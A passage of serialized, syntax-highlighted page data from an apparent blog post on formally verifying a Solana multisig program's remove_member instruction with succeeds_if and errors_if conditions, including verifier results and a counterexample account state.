remove_member",{"type":23,"tag":481,"props":23278,"children":23279},{"style":525},[23280],{"type":28,"value":618},{"type":23,"tag":481,"props":23282,"children":23283},{"style":508},[23284],{"type":28,"value":17778},{"type":23,"tag":481,"props":23286,"children":23287},{"style":514},[23288],{"type":28,"value":287},{"type":23,"tag":481,"props":23290,"children":23291},{"style":943},[23292],{"type":28,"value":17787},{"type":23,"tag":481,"props":23294,"children":23295},{"style":525},[23296],{"type":28,"value":3282},{"type":23,"tag":481,"props":23298,"children":23299},{"style":943},[23300],{"type":28,"value":23301},"MsAuth",{"type":23,"tag":481,"props":23303,"children":23304},{"style":525},[23305],{"type":28,"value":4108},{"type":23,"tag":481,"props":23307,"children":23308},{"style":508},[23309],{"type":28,"value":23310},"old_member",{"type":23,"tag":481,"props":23312,"children":23313},{"style":514},[23314],{"type":28,"value":287},{"type":23,"tag":481,"props":23316,"children":23317},{"style":943},[23318],{"type":28,"value":18355},{"type":23,"tag":481,"props":23320,"children":23321},{"style":525},[23322],{"type":28,"value":598},{"type":23,"tag":481,"props":23324,"children":23325},{"style":514},[23326],{"type":28,"value":11245},{"type":23,"tag":481,"props":23328,"children":23329},{"style":943},[23330],{"type":28,"value":11250},{"type":23,"tag":481,"props":23332,"children":23333},{"style":525},[23334],{"type":28,"value":17829},{"type":23,"tag":481,"props":23336,"children":23337},{"class":483,"line":1204},[23338],{"type":23,"tag":481,"props":23339,"children":23340},{"style":488},[23341],{"type":28,"value":23342}," // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":481,"props":23344,"children":23345},{"class":483,"line":1213},[23346,23350,23355,23359,23363,23367,23371,23375,23379,23383,23387,23391,23395,23399],{"type":23,"tag":481,"props":23347,"children":23348},{"style":535},[23349],{"type":28,"value":9766},{"type":23,"tag":481,"props":23351,"children":23352},{"style":508},[23353],{"type":28,"value":23354}," ctx",{"type":23,"tag":481,"props":23356,"children":23357},{"style":514},[23358],{"type":28,"value":199},{"type":23,"tag":481,"props":23360,"children":23361},{"style":525},[23362],{"type":28,"value":12163},{"type":23,"tag":481,"props":23364,"children":23365},{"style":514},[23366],{"type":28,"value":199},{"type":23,"tag":481,"props":23368,"children":23369},{"style":525},[23370],{"type":28,"value":21315},{"type":23,"tag":481,"props":23372,"children":23373},{"style":514},[23374],{"type":28,"value":199},{"type":23,"tag":481,"props":23376,"children":23377},{"style":525},[23378],{"type":28,"value":18481},{"type":23,"tag":481,"props":23380,"children":23381},{"style":514},[23382],{"type":28,"value":199},{"type":23,"tag":481,"props":23384,"children":23385},{"style":610},[23386],{"type":28,"value":6621},{"type":23,"tag":481,"props":23388,"children":23389},{"style":525},[23390],{"type":28,"value":11531},{"type":23,"tag":481,"props":23392,"children":23393},{"style":514},[23394],{"type":28,"value":6055},{"type":23,"tag":481,"props":23396,"children":23397},{"style":551},[23398],{"type":28,"value":2072},{"type":23,"tag":481,"props":23400,"children":23401},{"style":525},[23402],{"type":28,"value":809},{"type":23,"tag":481,"props":23404,"children":23405},{"class":483,"line":1222},[23406,23410,23414,23418,23422,23426,23431],{"type":23,"tag":481,"props":23407,"children":23408},{"style":535},[23409],{"type":28,"value":13234},{"type":23,"tag":481,"props":23411,"children":23412},{"style":610},[23413],{"type":28,"value":21018},{"type":23,"tag":481,"props":23415,"children":23416},{"style":525},[23417],{"type":28,"value":618},{"type":23,"tag":481,"props":23419,"children":23420},{"style":943},[23421],{"type":28,"value":21027},{"type":23,"tag":481,"props":23423,"children":23424},{"style":514},[23425],{"type":28,"value":1006},{"type":23,"tag":481,"props":23427,"children":23428},{"style":943},[23429],{"type":28,"value":23430},"CannotRemoveSoloMember",{"type":23,"tag":481,"props":23432,"children":23433},{"style":525},[23434],{"type":28,"value":1366},{"type":23,"tag":481,"props":23436,"children":23437},{"class":483,"line":1291},[23438],{"type":23,"tag":481,"props":23439,"children":23440},{"style":525},[23441],{"type":28,"value":879},{"type":23,"tag":481,"props":23443,"children":23444},{"class":483,"line":1299},[23445,23449,23453,23457,23461,23465,23469,23473,23477,23481,23485,23489],{"type":23,"tag":481,"props":23446,"children":23447},{"style":508},[23448],{"type":28,"value":17721},{"type":23,"tag":481,"props":23450,"children":23451},{"style":514},[23452],{"type":28,"value":199},{"type":23,"tag":481,"props":23454,"children":23455},{"style":525},[23456],{"type":28,"value":12163},{"type":23,"tag":481,"props":23458,"children":23459},{"style":514},[23460],{"type":28,"value":199},{"type":23,"tag":481,"props":23462,"children":23463},{"style":525},[23464],{"type":28,"value":21315},{"type":23,"tag":481,"props":23466,"children":23467},{"style":514},[23468],{"type":28,"value":199},{"type":23,"tag":481,"props":23470,"children":23471},{"style":610},[23472],{"type":28,"value":22977},{"type":23,"tag":481,"props":23474,"children":23475},{"style":525},[23476],{"type":28,"value":618},{"type":23,"tag":481,"props":23478,"children":23479},{"style":508},[23480],{"type":28,"value":23310},{"type":23,"tag":481,"props":23482,"children":23483},{"style":525},[23484],{"type":28,"value":642},{"type":23,"tag":481,"props":23486,"children":23487},{"style":514},[23488],{"type":28,"value":670},{"type":23,"tag":481,"props":23490,"children":23491},{"style":525},[23492],{"type":28,"value":528},{"type":23,"tag":481,"props":23494,"children":23495},{"class":483,"line":1329},[23496],{"type":23,"tag":481,"props":23497,"children":23498},{"emptyLinePlaceholder":15},[23499],{"type":28,"value":1210},{"type":23,"tag":481,"props":23501,"children":23502},{"class":483,"line":1337},[23503],{"type":23,"tag":481,"props":23504,"children":23505},{"style":488},[23506],{"type":28,"value":23507}," // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":481,"props":23509,"children":23510},{"class":483,"line":1369},[23511,23515,23519,23523,23527,23531,23535,23539,23543,23547,23551,23556,23560,23564,23568,23572,23576,23580,23584,23588,23592,23596],{"type":23,"tag":481,"props":23512,"children":23513},{"style":535},[23514],{"type":28,"value":9766},{"type":23,"tag":481,"props":23516,"children":23517},{"style":508},[23518],{"type":28,"value":23354},{"type":23,"tag":481,"props":23520,"children":23521},{"style":514},[23522],{"type":28,"value":199},{"type":23,"tag":481,"props":23524,"children":23525},{"style":525},[23526],{"type":28,"value":12163},{"type":23,"tag":481,"props":23528,"children":23529},{"style":514},[23530],{"type":28,"value":199},{"type":23,"tag":481,"props":23532,"children":23533},{"style":525},[23534],{"type":28,"value":21315},{"type":23,"tag":481,"props":23536,"children":23537},{"style":514},[23538],{"type":28,"value":199},{"type":23,"tag":481,"props":23540,"children":23541},{"style":525},[23542],{"type":28,"value":18481},{"type":23,"tag":481,"props":23544,"children":23545},{"style":514},[23546],{"type":28,"value":199},{"type":23,"tag":481,"props":23548,"children":23549},{"style":610},[23550],{"type":28,"value":6621},{"type":23,"tag":481,"props":23552,"children":23553},{"style":525},[23554],{"type":28,"value":23555},"() \u003C ",{"type":23,"tag":481,"props":23557,"children":23558},{"style":943},[23559],{"type":28,"value":14092},{"type":23,"tag":481,"props":23561,"children":23562},{"style":514},[23563],{"type":28,"value":1006},{"type":23,"tag":481,"props":23565,"children":23566},{"style":610},[23567],{"type":28,"value":16970},{"type":23,"tag":481,"props":23569,"children":23570},{"style":525},[23571],{"type":28,"value":618},{"type":23,"tag":481,"props":23573,"children":23574},{"style":508},[23575],{"type":28,"value":17778},{"type":23,"tag":481,"props":23577,"children":23578},{"style":514},[23579],{"type":28,"value":199},{"type":23,"tag":481,"props":23581,"children":23582},{"style":525},[23583],{"type":28,"value":12163},{"type":23,"tag":481,"props":23585,"children":23586},{"style":514},[23587],{"type":28,"value":199},{"type":23,"tag":481,"props":23589,"children":23590},{"style":525},[23591],{"type":28,"value":21315},{"type":23,"tag":481,"props":23593,"children":23594},{"style":514},[23595],{"type":28,"value":199},{"type":23,"tag":481,"props":23597,"children":23598},{"style":525},[23599],{"type":28,"value":23600},"threshold) {\n",{"type":23,"tag":481,"props":23602,"children":23603},{"class":483,"line":1377},[23604,23608,23613,23617,23621,23625,23629,23633,23637,23641,23645,23649,23653,23657,23661,23665,23669,23674,23678,23682,23686],{"type":23,"tag":481,"props":23605,"children":23606},{"style":497},[23607],{"type":28,"value":573},{"type":23,"tag":481,"props":23609,"children":23610},{"style":508},[23611],{"type":28,"value":23612}," new_threshold",{"type":23,"tag":481,"props":23614,"children":23615},{"style":514},[23616],{"type":28,"value":287},{"type":23,"tag":481,"props":23618,"children":23619},{"style":943},[23620],{"type":28,"value":18528},{"type":23,"tag":481,"props":23622,"children":23623},{"style":514},[23624],{"type":28,"value":517},{"type":23,"tag":481,"props":23626,"children":23627},{"style":508},[23628],{"type":28,"value":23354},{"type":23,"tag":481,"props":23630,"children":23631},{"style":514},[23632],{"type":28,"value":199},{"type":23,"tag":481,"props":23634,"children":23635},{"style":525},[23636],{"type":28,"value":12163},{"type":23,"tag":481,"props":23638,"children":23639},{"style":514},[23640],{"type":28,"value":199},{"type":23,"tag":481,"props":23642,"children":23643},{"style":525},[23644],{"type":28,"value":21315},{"type":23,"tag":481,"props":23646,"children":23647},{"style":514},[23648],{"type":28,"value":199},{"type":23,"tag":481,"props":23650,"children":23651},{"style":525},[23652],{"type":28,"value":18481},{"type":23,"tag":481,"props":23654,"children":23655},{"style":514},[23656],{"type":28,"value":199},{"type":23,"tag":481,"props":23658,"children":23659},{"style":610},[23660],{"type":28,"value":6621},{"type":23,"tag":481,"props":23662,"children":23663},{"style":525},[23664],{"type":28,"value":11367},{"type":23,"tag":481,"props":23666,"children":23667},{"style":514},[23668],{"type":28,"value":199},{"type":23,"tag":481,"props":23670,"children":23671},{"style":610},[23672],{"type":28,"value":23673},"try_into",{"type":23,"tag":481,"props":23675,"children":23676},{"style":525},[23677],{"type":28,"value":11367},{"type":23,"tag":481,"props":23679,"children":23680},{"style":514},[23681],{"type":28,"value":199},{"type":23,"tag":481,"props":23683,"children":23684},{"style":610},[23685],{"type":28,"value":1196},{"type":23,"tag":481,"props":23687,"children":23688},{"style":525},[23689],{"type":28,"value":1201},{"type":23,"tag":481,"props":23691,"children":23692},{"class":483,"line":1437},[23693,23698,23702,23706,23710,23714,23718,23723,23727,23732,23736,23740],{"type":23,"tag":481,"props":23694,"children":23695},{"style":508},[23696],{"type":28,"value":23697}," ctx",{"type":23,"tag":481,"props":23699,"children":23700},{"style":514},[23701],{"type":28,"value":199},{"type":23,"tag":481,"props":23703,"children":23704},{"style":525},[23705],{"type":28,"value":12163},{"type":23,"tag":481,"props":23707,"children":23708},{"style":514},[23709],{"type":28,"value":199},{"type":23,"tag":481,"props":23711,"children":23712},{"style":525},[23713],{"type":28,"value":21315},{"type":23,"tag":481,"props":23715,"children":23716},{"style":514},[23717],{"type":28,"value":199},{"type":23,"tag":481,"props":23719,"children":23720},{"style":610},[23721],{"type":28,"value":23722},"change_threshold",{"type":23,"tag":481,"props":23724,"children":23725},{"style":525},[23726],{"type":28,"value":618},{"type":23,"tag":481,"props":23728,"children":23729},{"style":508},[23730],{"type":28,"value":23731},"new_threshold",{"type":23,"tag":481,"props":23733,"children":23734},{"style":525},[23735],{"type":28,"value":642},{"type":23,"tag":481,"props":23737,"children":23738},{"style":514},[23739],{"type":28,"value":670},{"type":23,"tag":481,"props":23741,"children":23742},{"style":525},[23743],{"type":28,"value":528},{"type":23,"tag":481,"props":23745,"children":23746},{"class":483,"line":6528},[23747],{"type":23,"tag":481,"props":23748,"children":23749},{"style":525},[23750],{"type":28,"value":879},{"type":23,"tag":481,"props":23752,"children":23753},{"class":483,"line":6546},[23754,23758,23763,23767,23771,23775,23779,23783,23787,23791],{"type":23,"tag":481,"props":23755,"children":23756},{"style":497},[23757],{"type":28,"value":500},{"type":23,"tag":481,"props":23759,"children":23760},{"style":508},[23761],{"type":28,"value":23762}," new_index",{"type":23,"tag":481,"props":23764,"children":23765},{"style":514},[23766],{"type":28,"value":517},{"type":23,"tag":481,"props":23768,"children":23769},{"style":508},[23770],{"type":28,"value":23354},{"type":23,"tag":481,"props":23772,"children":23773},{"style":514},[23774],{"type":28,"value":199},{"type":23,"tag":481,"props":23776,"children":23777},{"style":525},[23778],{"type":28,"value":12163},{"type":23,"tag":481,"props":23780,"children":23781},{"style":514},[23782],{"type":28,"value":199},{"type":23,"tag":481,"props":23784,"children":23785},{"style":525},[23786],{"type":28,"value":21315},{"type":23,"tag":481,"props":23788,"children":23789},{"style":514},[23790],{"type":28,"value":199},{"type":23,"tag":481,"props":23792,"children":23793},{"style":525},[23794],{"type":28,"value":23795},"transaction_index;\n",{"type":23,"tag":481,"props":23797,"children":23798},{"class":483,"line":6591},[23799,23803,23807,23811,23815,23819,23823,23828,23832,23837],{"type":23,"tag":481,"props":23800,"children":23801},{"style":508},[23802],{"type":28,"value":17721},{"type":23,"tag":481,"props":23804,"children":23805},{"style":514},[23806],{"type":28,"value":199},{"type":23,"tag":481,"props":23808,"children":23809},{"style":525},[23810],{"type":28,"value":12163},{"type":23,"tag":481,"props":23812,"children":23813},{"style":514},[23814],{"type":28,"value":199},{"type":23,"tag":481,"props":23816,"children":23817},{"style":525},[23818],{"type":28,"value":21315},{"type":23,"tag":481,"props":23820,"children":23821},{"style":514},[23822],{"type":28,"value":199},{"type":23,"tag":481,"props":23824,"children":23825},{"style":610},[23826],{"type":28,"value":23827},"set_change_index",{"type":23,"tag":481,"props":23829,"children":23830},{"style":525},[23831],{"type":28,"value":618},{"type":23,"tag":481,"props":23833,"children":23834},{"style":508},[23835],{"type":28,"value":23836},"new_index",{"type":23,"tag":481,"props":23838,"children":23839},{"style":525},[23840],{"type":28,"value":675},{"type":23,"tag":481,"props":23842,"children":23843},{"class":483,"line":6697},[23844],{"type":23,"tag":481,"props":23845,"children":23846},{"style":525},[23847],{"type":28,"value":1443},{"type":23,"tag":24,"props":23849,"children":23850},{},[23851,23853,23858],{"type":28,"value":23852},"First let's establish the ",{"type":23,"tag":64,"props":23854,"children":23856},{"className":23855},[],[23857],{"type":28,"value":17652},{"type":28,"value":23859}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":435,"props":23861,"children":23863},{"code":23862,"language":474,"meta":7,"className":475,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[23864],{"type":23,"tag":64,"props":23865,"children":23866},{"__ignoreMap":7},[23867,23874,23921,23928],{"type":23,"tag":481,"props":23868,"children":23869},{"class":483,"line":484},[23870],{"type":23,"tag":481,"props":23871,"children":23872},{"style":525},[23873],{"type":28,"value":21622},{"type":23,"tag":481,"props":23875,"children":23876},{"class":483,"line":351},[23877,23881,23885,23889,23893,23897,23901,23905,23909,23913,23917],{"type":23,"tag":481,"props":23878,"children":23879},{"style":525},[23880],{"type":28,"value":17721},{"type":23,"tag":481,"props":23882,"children":23883},{"style":514},[23884],{"type":28,"value":199},{"type":23,"tag":481,"props":23886,"children":23887},{"style":525},[23888],{"type":28,"value":12163},{"type":23,"tag":481,"props":23890,"children":23891},{"style":514},[23892],{"type":28,"value":199},{"type":23,"tag":481,"props":23894,"children":23895},{"style":525},[23896],{"type":28,"value":21315},{"type":23,"tag":481,"props":23898,"children":23899},{"style":514},[23900],{"type":28,"value":199},{"type":23,"tag":481,"props":23902,"children":23903},{"style":525},[23904],{"type":28,"value":18481},{"type":23,"tag":481,"props":23906,"children":23907},{"style":514},[23908],{"type":28,"value":199},{"type":23,"tag":481,"props":23910,"children":23911},{"style":525},[23912],{"type":28,"value":18519},{"type":23,"tag":481,"props":23914,"children":23915},{"style":514},[23916],{"type":28,"value":7947},{"type":23,"tag":481,"props":23918,"children":23919},{"style":525},[23920],{"type":28,"value":16939},{"type":23,"tag":481,"props":23922,"children":23923},{"class":483,"line":531},[23924],{"type":23,"tag":481,"props":23925,"children":23926},{"style":525},[23927],{"type":28,"value":17756},{"type":23,"tag":481,"props":23929,"children":23930},{"class":483,"line":567},[23931,23935,23939,23943,23947,23951,23955],{"type":23,"tag":481,"props":23932,"children":23933},{"style":497},[23934],{"type":28,"value":17764},{"type":23,"tag":481,"props":23936,"children":23937},{"style":610},[23938],{"type":28,"value":23276},{"type":23,"tag":481,"props":23940,"children":23941},{"style":525},[23942],{"type":28,"value":618},{"type":23,"tag":481,"props":23944,"children":23945},{"style":514},[23946],{"type":28,"value":7074},{"type":23,"tag":481,"props":23948,"children":23949},{"style":525},[23950],{"type":28,"value":21499},{"type":23,"tag":481,"props":23952,"children":23953},{"style":514},[23954],{"type":28,"value":7074},{"type":23,"tag":481,"props":23956,"children":23957},{"style":525},[23958],{"type":28,"value":7079},{"type":23,"tag":24,"props":23960,"children":23961},{},[23962,23964,23969],{"type":28,"value":23963},"And for now let's remove the invariant on the ",{"type":23,"tag":64,"props":23965,"children":23967},{"className":23966},[],[23968],{"type":28,"value":20240},{"type":28,"value":23970}," account:",{"type":23,"tag":435,"props":23972,"children":23974},{"code":23973,"language":474,"meta":7,"className":475,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[23975],{"type":23,"tag":64,"props":23976,"children":23977},{"__ignoreMap":7},[23978,23986],{"type":23,"tag":481,"props":23979,"children":23980},{"class":483,"line":484},[23981],{"type":23,"tag":481,"props":23982,"children":23983},{"style":525},[23984],{"type":28,"value":23985},"#[invariant()]\n",{"type":23,"tag":481,"props":23987,"children":23988},{"class":483,"line":351},[23989,23993,23997,24001,24005,24009],{"type":23,"tag":481,"props":23990,"children":23991},{"style":497},[23992],{"type":28,"value":11178},{"type":23,"tag":481,"props":23994,"children":23995},{"style":497},[23996],{"type":28,"value":18649},{"type":23,"tag":481,"props":23998,"children":23999},{"style":943},[24000],{"type":28,"value":18654},{"type":23,"tag":481,"props":24002,"children":24003},{"style":525},[24004],{"type":28,"value":7069},{"type":23,"tag":481,"props":24006,"children":24007},{"style":514},[24008],{"type":28,"value":7074},{"type":23,"tag":481,"props":24010,"children":24011},{"style":525},[24012],{"type":28,"value":7079},{"type":23,"tag":24,"props":24014,"children":24015},{},[24016],{"type":28,"value":24017},"Let's test this!",{"type":23,"tag":24,"props":24019,"children":24020},{},[24021,24023,24028],{"type":28,"value":24022},"Our ",{"type":23,"tag":64,"props":24024,"children":24026},{"className":24025},[],[24027],{"type":28,"value":17652},{"type":28,"value":24029}," harness produces:",{"type":23,"tag":435,"props":24031,"children":24033},{"code":24032},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[24034],{"type":23,"tag":64,"props":24035,"children":24036},{"__ignoreMap":7},[24037],{"type":28,"value":24032},{"type":23,"tag":24,"props":24039,"children":24040},{},[24041],{"type":28,"value":24042},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":24,"props":24044,"children":24045},{},[24046,24048,24053],{"type":28,"value":24047},"However, remember that since ",{"type":23,"tag":64,"props":24049,"children":24051},{"className":24050},[],[24052],{"type":28,"value":17652},{"type":28,"value":24054}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":24,"props":24056,"children":24057},{},[24058,24060,24065,24067,24072,24074,24079],{"type":28,"value":24059},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":127,"props":24061,"children":24062},{},[24063],{"type":28,"value":24064},"only condition",{"type":28,"value":24066}," in which the function will succeed (i.e. ",{"type":23,"tag":127,"props":24068,"children":24069},{},[24070],{"type":28,"value":24071},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":24073},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":64,"props":24075,"children":24077},{"className":24076},[],[24078],{"type":28,"value":17659},{"type":28,"value":24080}," macro such as:",{"type":23,"tag":435,"props":24082,"children":24084},{"code":24083,"language":474,"meta":7,"className":475,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[24085],{"type":23,"tag":64,"props":24086,"children":24087},{"__ignoreMap":7},[24088,24095,24142,24149,24156,24203,24210],{"type":23,"tag":481,"props":24089,"children":24090},{"class":483,"line":484},[24091],{"type":23,"tag":481,"props":24092,"children":24093},{"style":525},[24094],{"type":28,"value":21622},{"type":23,"tag":481,"props":24096,"children":24097},{"class":483,"line":351},[24098,24102,24106,24110,24114,24118,24122,24126,24130,24134,24138],{"type":23,"tag":481,"props":24099,"children":24100},{"style":525},[24101],{"type":28,"value":17721},{"type":23,"tag":481,"props":24103,"children":24104},{"style":514},[24105],{"type":28,"value":199},{"type":23,"tag":481,"props":24107,"children":24108},{"style":525},[24109],{"type":28,"value":12163},{"type":23,"tag":481,"props":24111,"children":24112},{"style":514},[24113],{"type":28,"value":199},{"type":23,"tag":481,"props":24115,"children":24116},{"style":525},[24117],{"type":28,"value":21315},{"type":23,"tag":481,"props":24119,"children":24120},{"style":514},[24121],{"type":28,"value":199},{"type":23,"tag":481,"props":24123,"children":24124},{"style":525},[24125],{"type":28,"value":18481},{"type":23,"tag":481,"props":24127,"children":24128},{"style":514},[24129],{"type":28,"value":199},{"type":23,"tag":481,"props":24131,"children":24132},{"style":525},[24133],{"type":28,"value":18519},{"type":23,"tag":481,"props":24135,"children":24136},{"style":514},[24137],{"type":28,"value":7947},{"type":23,"tag":481,"props":24139,"children":24140},{"style":525},[24141],{"type":28,"value":16939},{"type":23,"tag":481,"props":24143,"children":24144},{"class":483,"line":531},[24145],{"type":23,"tag":481,"props":24146,"children":24147},{"style":525},[24148],{"type":28,"value":17756},{"type":23,"tag":481,"props":24150,"children":24151},{"class":483,"line":567},[24152],{"type":23,"tag":481,"props":24153,"children":24154},{"style":525},[24155],{"type":28,"value":17713},{"type":23,"tag":481,"props":24157,"children":24158},{"class":483,"line":678},[24159,24163,24167,24171,24175,24179,24183,24187,24191,24195,24199],{"type":23,"tag":481,"props":24160,"children":24161},{"style":525},[24162],{"type":28,"value":17721},{"type":23,"tag":481,"props":24164,"children":24165},{"style":514},[24166],{"type":28,"value":199},{"type":23,"tag":481,"props":24168,"children":24169},{"style":525},[24170],{"type":28,"value":12163},{"type":23,"tag":481,"props":24172,"children":24173},{"style":514},[24174],{"type":28,"value":199},{"type":23,"tag":481,"props":24176,"children":24177},{"style":525},[24178],{"type":28,"value":21315},{"type":23,"tag":481,"props":24180,"children":24181},{"style":514},[24182],{"type":28,"value":199},{"type":23,"tag":481,"props":24184,"children":24185},{"style":525},[24186],{"type":28,"value":18481},{"type":23,"tag":481,"props":24188,"children":24189},{"style":514},[24190],{"type":28,"value":199},{"type":23,"tag":481,"props":24192,"children":24193},{"style":525},[24194],{"type":28,"value":18519},{"type":23,"tag":481,"props":24196,"children":24197},{"style":514},[24198],{"type":28,"value":16911},{"type":23,"tag":481,"props":24200,"children":24201},{"style":525},[24202],{"type":28,"value":16939},{"type":23,"tag":481,"props":24204,"children":24205},{"class":483,"line":784},[24206],{"type":23,"tag":481,"props":24207,"children":24208},{"style":525},[24209],{"type":28,"value":17756},{"type":23,"tag":481,"props":24211,"children":24212},{"class":483,"line":812},[24213,24217,24221,24225,24229,24233,24237],{"type":23,"tag":481,"props":24214,"children":24215},{"style":497},[24216],{"type":28,"value":17764},{"type":23,"tag":481,"props":24218,"children":24219},{"style":610},[24220],{"type":28,"value":23276},{"type":23,"tag":481,"props":24222,"children":24223},{"style":525},[24224],{"type":28,"value":618},{"type":23,"tag":481,"props":24226,"children":24227},{"style":514},[24228],{"type":28,"value":7074},{"type":23,"tag":481,"props":24230,"children":24231},{"style":525},[24232],{"type":28,"value":21499},{"type":23,"tag":481,"props":24234,"children":24235},{"style":514},[24236],{"type":28,"value":7074},{"type":23,"tag":481,"props":24238,"children":24239},{"style":525},[24240],{"type":28,"value":7079},{"type":23,"tag":24,"props":24242,"children":24243},{},[24244,24246,24251],{"type":28,"value":24245},"Let's test this, we just need to run the new ",{"type":23,"tag":64,"props":24247,"children":24249},{"className":24248},[],[24250],{"type":28,"value":17659},{"type":28,"value":24252}," harness:",{"type":23,"tag":435,"props":24254,"children":24256},{"code":24255},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[24257],{"type":23,"tag":64,"props":24258,"children":24259},{"__ignoreMap":7},[24260],{"type":28,"value":24255},{"type":23,"tag":24,"props":24262,"children":24263},{},[24264],{"type":28,"value":24265},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":435,"props":24267,"children":24269},{"code":24268,"language":474,"meta":7,"className":475,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[24270],{"type":23,"tag":64,"props":24271,"children":24272},{"__ignoreMap":7},[24273,24284,24303,24322,24341,24360,24379,24398,24417,24436,24455,24475,24494,24501,24508,24535],{"type":23,"tag":481,"props":24274,"children":24275},{"class":483,"line":484},[24276,24280],{"type":23,"tag":481,"props":24277,"children":24278},{"style":943},[24279],{"type":28,"value":14638},{"type":23,"tag":481,"props":24281,"children":24282},{"style":525},[24283],{"type":28,"value":809},{"type":23,"tag":481,"props":24285,"children":24286},{"class":483,"line":351},[24287,24291,24295,24299],{"type":23,"tag":481,"props":24288,"children":24289},{"style":508},[24290],{"type":28,"value":22682},{"type":23,"tag":481,"props":24292,"children":24293},{"style":514},[24294],{"type":28,"value":287},{"type":23,"tag":481,"props":24296,"children":24297},{"style":943},[24298],{"type":28,"value":18654},{"type":23,"tag":481,"props":24300,"children":24301},{"style":525},[24302],{"type":28,"value":809},{"type":23,"tag":481,"props":24304,"children":24305},{"class":483,"line":531},[24306,24310,24314,24318],{"type":23,"tag":481,"props":24307,"children":24308},{"style":508},[24309],{"type":28,"value":21336},{"type":23,"tag":481,"props":24311,"children":24312},{"style":514},[24313],{"type":28,"value":287},{"type":23,"tag":481,"props":24315,"children":24316},{"style":551},[24317],{"type":28,"value":554},{"type":23,"tag":481,"props":24319,"children":24320},{"style":525},[24321],{"type":28,"value":1033},{"type":23,"tag":481,"props":24323,"children":24324},{"class":483,"line":567},[24325,24329,24333,24337],{"type":23,"tag":481,"props":24326,"children":24327},{"style":508},[24328],{"type":28,"value":22722},{"type":23,"tag":481,"props":24330,"children":24331},{"style":514},[24332],{"type":28,"value":287},{"type":23,"tag":481,"props":24334,"children":24335},{"style":551},[24336],{"type":28,"value":554},{"type":23,"tag":481,"props":24338,"children":24339},{"style":525},[24340],{"type":28,"value":1033},{"type":23,"tag":481,"props":24342,"children":24343},{"class":483,"line":678},[24344,24348,24352,24356],{"type":23,"tag":481,"props":24345,"children":24346},{"style":508},[24347],{"type":28,"value":22742},{"type":23,"tag":481,"props":24349,"children":24350},{"style":514},[24351],{"type":28,"value":287},{"type":23,"tag":481,"props":24353,"children":24354},{"style":551},[24355],{"type":28,"value":554},{"type":23,"tag":481,"props":24357,"children":24358},{"style":525},[24359],{"type":28,"value":1033},{"type":23,"tag":481,"props":24361,"children":24362},{"class":483,"line":784},[24363,24367,24371,24375],{"type":23,"tag":481,"props":24364,"children":24365},{"style":508},[24366],{"type":28,"value":22762},{"type":23,"tag":481,"props":24368,"children":24369},{"style":514},[24370],{"type":28,"value":287},{"type":23,"tag":481,"props":24372,"children":24373},{"style":551},[24374],{"type":28,"value":554},{"type":23,"tag":481,"props":24376,"children":24377},{"style":525},[24378],{"type":28,"value":1033},{"type":23,"tag":481,"props":24380,"children":24381},{"class":483,"line":812},[24382,24386,24390,24394],{"type":23,"tag":481,"props":24383,"children":24384},{"style":508},[24385],{"type":28,"value":22782},{"type":23,"tag":481,"props":24387,"children":24388},{"style":514},[24389],{"type":28,"value":287},{"type":23,"tag":481,"props":24391,"children":24392},{"style":551},[24393],{"type":28,"value":554},{"type":23,"tag":481,"props":24395,"children":24396},{"style":525},[24397],{"type":28,"value":1033},{"type":23,"tag":481,"props":24399,"children":24400},{"class":483,"line":825},[24401,24405,24409,24413],{"type":23,"tag":481,"props":24402,"children":24403},{"style":508},[24404],{"type":28,"value":21349},{"type":23,"tag":481,"props":24406,"children":24407},{"style":514},[24408],{"type":28,"value":287},{"type":23,"tag":481,"props":24410,"children":24411},{"style":514},[24412],{"type":28,"value":22810},{"type":23,"tag":481,"props":24414,"children":24415},{"style":525},[24416],{"type":28,"value":1033},{"type":23,"tag":481,"props":24418,"children":24419},{"class":483,"line":843},[24420,24424,24428,24432],{"type":23,"tag":481,"props":24421,"children":24422},{"style":508},[24423],{"type":28,"value":22822},{"type":23,"tag":481,"props":24425,"children":24426},{"style":514},[24427],{"type":28,"value":287},{"type":23,"tag":481,"props":24429,"children":24430},{"style":497},[24431],{"type":28,"value":6539},{"type":23,"tag":481,"props":24433,"children":24434},{"style":525},[24435],{"type":28,"value":1033},{"type":23,"tag":481,"props":24437,"children":24438},{"class":483,"line":864},[24439,24443,24447,24451],{"type":23,"tag":481,"props":24440,"children":24441},{"style":508},[24442],{"type":28,"value":22842},{"type":23,"tag":481,"props":24444,"children":24445},{"style":514},[24446],{"type":28,"value":287},{"type":23,"tag":481,"props":24448,"children":24449},{"style":943},[24450],{"type":28,"value":18887},{"type":23,"tag":481,"props":24452,"children":24453},{"style":525},[24454],{"type":28,"value":809},{"type":23,"tag":481,"props":24456,"children":24457},{"class":483,"line":873},[24458,24463,24467,24471],{"type":23,"tag":481,"props":24459,"children":24460},{"style":508},[24461],{"type":28,"value":24462}," 